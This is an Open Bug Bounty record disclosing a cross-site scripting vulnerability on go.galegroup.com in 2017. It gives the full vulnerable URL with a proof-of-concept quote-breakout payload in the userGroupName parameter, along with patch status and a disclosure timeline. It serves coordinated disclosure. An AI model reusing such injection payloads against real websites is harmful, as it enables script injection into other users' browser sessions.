go.galegroup.com XSS vulnerability

2017-05-22T15:11:00
ID OBB:240115
Type openbugbounty
Reporter Random_Robbie
Modified 2017-07-03T15:16:00

Description

Vulnerable URL:
http://go.galegroup.com/auth/capmAuthentication.do?userGroupName=googlescholar'-alert('OPENBUGBOUNTY')-'&origURL;=http%3A%2F%2Fgo.galegroup.com%2Fps%2F%2Fretrieve.do%3FtabID%3DT004%26resultListType%3DRESULT_LIST%26searchResultsType%3DSingleTab%26searchType%3DAdvancedSearchForm%26currentPosition%3D2%26docId%3DGALE%257CA464264276%26docType%3DArticle%26sort%3DRELEVANCE%26contentSegment%3D%26prodId%3DAONE%26contentSet%3DGALE%257CA464264276%26searchId%3DR1%26userGroupName%3Dgooglescholar%26inPS%3Dtrue%26u%3Dgooglescholar%26authCount%3D2&productShortName;=AONE&productLongName;=Academic+OneFile&isStartUrlRequest;=false&isCookieCheckDone;=false
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 28.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
VIP website status:| No
Check go.galegroup.com SSL connection:| (Grade: A-)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 22 May, 2017 15:11 GMT
Notification sent to subscribers (without technical details)| 22 May, 2017 18:17 GMT
Generic security notifications sent to website owner| 27 May, 2017 04:17 GMT
Vulnerability details disclosed by researcher| 3 July, 2017 15:16 GMT